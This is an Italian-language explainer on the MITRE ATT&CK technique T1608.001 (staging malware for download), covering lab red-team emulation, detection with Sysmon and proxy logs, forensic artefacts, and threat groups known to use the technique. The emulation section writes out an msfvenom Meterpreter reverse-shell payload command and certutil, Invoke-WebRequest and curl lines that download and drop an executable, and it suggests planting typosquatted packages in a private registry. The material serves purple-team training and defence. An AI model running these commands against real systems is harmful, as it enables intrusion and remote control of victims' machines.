Upload Malware: Stage Capabilities via Upload Malware (T1608.001)

In un contesto di red team autorizzato, simulare Upload Malware significa ricostruire in laboratorio la catena di staging che precede la consegna, senza mai pubblicare artefatti reali su servizi di terzi. L'obiettivo è validare la capacità del blue team di rilevare download e esecuzione, non contaminare piattaforme pubbliche.

Il primo passo è predisporre un web server di staging controllato nel range del lab. Un semplice server HTTP con python3 -m http.server 8080 espone i payload su un host interno; in alternativa un container Nginx replica il comportamento di una open directory, tecnica osservata in FIN7. Per generare payload di test si usa msfvenom (open source), parte del Metasploit Framework, con una catena tipica del tipo msfvenom -p windows/x64/meterpreter/reverse_https LHOST= LPORT=443 -f exe -o payload.exe.

Per riprodurre lo staging su servizi cloud e file-sharing — pattern usato da APT32, Mustang Panda e Kimsuky con Dropbox, Google Drive e OneDrive — mantieni tutto entro tenant di laboratorio dedicati. La consegna a valle si emula con Ingress Tool Transfer verso la macchina target: su Windows certutil -urlcache -split -f http:///payload.exe C:\Users\Public\p.exe oppure Invoke-WebRequest -Uri -OutFile p.exe; su Linux curl -s -o /tmp/p o wget.

Una catena più sofisticata replica lo staging su repository e package library. TeamTNT ha caricato immagini Docker backdoored su Docker Hub, LazyScripter e Contagious Interview hanno ospitato RAT open source su GitHub, mentre il malware Shai-Hulud ha pubblicato tarball .tgz malevoli da account NPM compromessi. In lab puoi ospitare un registry privato (Docker Registry, open source) o un indice PyPI locale con devpi (open source) e verificare se i controlli di supply chain intercettano pacchetti typosquatted.

Strumenti utili per l'esercizio:

• Metasploit Framework (open source) — generazione payload e handler C2
• Cobalt Strike (a pagamento) — beacon staging, come nelle operazioni BlackByte
• Sliver (open source) — framework C2 alternativo per implant multipiattaforma
• Docker Registry / devpi (open source) — simulazione di package repository interni

Documenta ogni URL di staging e ogni hash generato, così da fornire al blue team indicatori verificabili e chiudere il ciclo purple team.

La detection diretta di Upload Malware è strutturalmente limitata: il caricamento avviene su infrastruttura esterna, fuori dalla visibilità aziendale. La stessa guida MITRE lo riconosce, indicando che gli sforzi vanno concentrati sulle fasi post-compromissione. Il rilevamento realistico è quindi indiretto: si osserva il momento in cui l'infrastruttura di staging viene usata, ovvero durante il download e l'esecuzione del payload.

Il segnale più prezioso arriva dai log di rete e proxy. Connessioni in uscita verso servizi cloud e file-sharing legittimi ma anomali nel contesto — Dropbox, MediaFire, WeTransfer, TransferNow, Discord CDN — meritano correlazione con il processo che le genera. Un download di eseguibile da un dominio Blogspot o da una open directory, pattern legati a Kimsuky e FIN7, è un forte indicatore quando il client è un LOLBin come certutil.exe o bitsadmin.exe.

Sull'endpoint le fonti chiave sono:

• Sysmon (open source): EventCode 1 (process creation) per intercettare certutil -urlcache, curl, Invoke-WebRequest; EventCode 3 (network connection) per associare processo e destinazione; EventCode 15 (FileCreate stream hash) per file scaricati con Zone.Identifier.
• Windows Security Log: EventCode 4688 per la creazione di processi con command line.
• PowerShell Script Block Logging (EventCode 4104) per download offuscati.

La correlazione vincente lega un processo browser o LOLBin al drop di un file eseguibile in percorsi come C:\Users\Public o %TEMP%, seguito dall'esecuzione. Il download di immagini Docker da registry non approvati e l'installazione di pacchetti NPM/PyPI typosquatted (rilevante per Shai-Hulud e TeamTNT) vanno intercettati nei log CI/CD e nei proxy dei package manager.

Sul fronte falsi positivi, l'uso legittimo di Dropbox, GitHub, OneDrive e Docker Hub è pervasivo: il rischio di rumore è alto. Occorre baseline per utente e reparto, whitelist dei repository interni e regole che scattino solo sulla combinazione download-da-cloud + esecuzione-immediata + persistenza, non sul semplice traffico verso il servizio.

Sul piano preventivo, l'unica mitigazione mappata è M1056 (Pre-compromise): monitoraggio della superficie esterna con piattaforme OSINT (SpiderFoot, Recon-ng, open source), sorveglianza di domini lookalike e typosquatting, threat intelligence su infrastruttura avversaria tramite MISP (open source), e protezioni email con enforcement di SPF/DKIM/DMARC per intercettare i link ai payload staged.

Nell'analisi forense di Upload Malware l'artefatto non risiede sul sistema al momento del caricamento — quello avviene altrove — ma emerge dopo il contatto della vittima con l'infrastruttura di staging. L'indagine combina quindi fonti esterne e artefatti endpoint post-download.

Sul versante esterno, la ricostruzione dell'infrastruttura di consegna passa da servizi di intelligence storica. Il WHOIS storico e il passive DNS documentano domini registrati per lo staging, pattern osservato in Gamaredon Group, BITTER e Transparent Tribe durante la campagna C0011, dove i documenti malevoli erano ospitati su domini registrati dal gruppo. I Certificate Transparency logs (consultabili tramite crt.sh, gratuito) rivelano certificati emessi per domini impersonanti, utili contro il mascheramento usato da HEXANE e OilRig con siti che imitavano organizzazioni bersaglio. Per campagne come Operation Spalax (C0005), in cui il malware era su OneDrive e MediaFire, e Operation Sharpshooter (C0013) su Dropbox, l'analisi dei link e dei metadati di condivisione ricostruisce la provenienza.

Sull'endpoint, la timeline si costruisce a partire dagli artefatti di download ed esecuzione:

• Zone.Identifier (Mark-of-the-Web) nei flussi ADS del file scaricato: registra l'URL host e la zona di provenienza, prova diretta del server di staging.
• Cache e cronologia del browser e i download manager, che conservano l'endpoint sorgente.
• Prefetch (C:\Windows\Prefetch) e Amcache/Shimcache per attestare l'esecuzione del payload droppato.
• UserAssist e ShellBags per l'interazione utente, rilevanti quando l'infezione dipende da User Execution.

Su Linux gli artefatti utili sono i log di wget/curl nella ~/.bash_history, i timestamp dei file in /tmp e /var/tmp, e i log di package manager per pacchetti typosquatted. Nei contesti containerizzati, l'ispezione dei layer di immagini scaricate da Docker Hub — vettore di TeamTNT — e l'analisi dei manifest permettono di isolare immagini backdoored.

La correlazione temporale è il cuore dell'indagine: si allinea il timestamp del Mark-of-the-Web con la creazione del file, l'esecuzione registrata in Prefetch e l'eventuale connessione C2 successiva. Per le operazioni Lazarus Group (Operation Dream Job, C0022) su server compromessi, e per UNC3890 (C0010) con malware staged per download diretto, questa timeline collega il singolo host all'infrastruttura più ampia. Strumenti come Autopsy e Volatility 3 (open source) supportano l'estrazione di questi artefatti da disco e memoria.

Lo staging di malware è una pratica trasversale, adottata da attori statuali, cybercrime e gruppi di supply chain. I dati MITRE ATT&CK associano 28 gruppi alla tecnica, con pattern geografici e di tooling ricorrenti.

Lazarus Group, riconducibile alla Corea del Nord, rappresenta il caso più documentato: nell'operazione Operation Dream Job (C0022) ha usato server compromessi per ospitare malware, mentre in Operation Sharpshooter (C0013) — che condivide codice e lure di finto reclutamento con le sue operazioni — i file erano su Dropbox e altri siti. Sempre nell'orbita nordcoreana, Moonstone Sleet ha pubblicato capacità malevole online per download successivo e Contagious Interview ha sfruttato repository di codice come esca, confermando la predilezione per lure a tema lavorativo e sviluppo software.

L'ecosistema iraniano mostra un forte uso di infrastruttura impersonante. OilRig e HEXANE hanno ospitato payload su siti fasulli che imitavano organizzazioni bersaglio, APT42 ha usato la propria infrastruttura per staging del payload VINETHORN mascherato da app VPN, e UNC3890 nella campagna C0010 ha collocato malware per download diretto su sistemi compromessi in Israele.

Sul fronte cinese, Mustang Panda ha ospitato PlugX su Dropbox e, nelle RedDelta Modified PlugX Infection Chain Operations (C0047), su domini e cloud storage controllati contro obiettivi in Asia orientale e sudorientale; Threat Group-3390 e Earth Lusca hanno usato rispettivamente Dropbox e una combinazione di web server compromessi, GitHub e Google Drive. La storica campagna Night Dragon (C0002), attribuita a un gruppo basato in Cina, caricava tool su web server compromessi.

Gli attori russofoni privilegiano piattaforme legittime: Sandworm Team ha diffuso installer trojanizzati nei forum, Star Blizzard ha usato cloud storage, Saint Bear il CDN di Discord, e l'attività C0021 — sovrapposta a APT29 — caricava malware su siti controllati.

Due trend emergono con nettezza. Il primo è lo spostamento verso servizi cloud e file-sharing ad alta reputazione — Dropbox, Google Drive, OneDrive, WeTransfer, TransferNow — sfruttato da APT32, Kimsuky, EXOTIC LILY e LuminousMoth. Il secondo è l'attacco alla supply chain software: TeamTNT con immagini Docker Hub backdoored, il malware Shai-Hulud con tarball NPM malevoli da account compromessi, e TeamPCP che ha alterato la action actions/checkout via commit imposter su GitHub.

MITRE ATT&CK, tecnica T1608.001 (Stage Capabilities: Upload Malware), tattica TA0042. Campagne citate: Night Dragon (C0002), Operation Spalax (C0005), C0010, C0011, Operation Sharpshooter (C0013), C0021, Operation Dream Job (C0022), RedDelta Modified PlugX (C0047). Mitigazione M1056, detection DET0824. Per comandi, tool forensi (Autopsy, Volatility 3, Sysmon, MISP, SpiderFoot) e procedure operative è stata integrata conoscenza professionale di cybersecurity basata su strumenti reali e verificabili.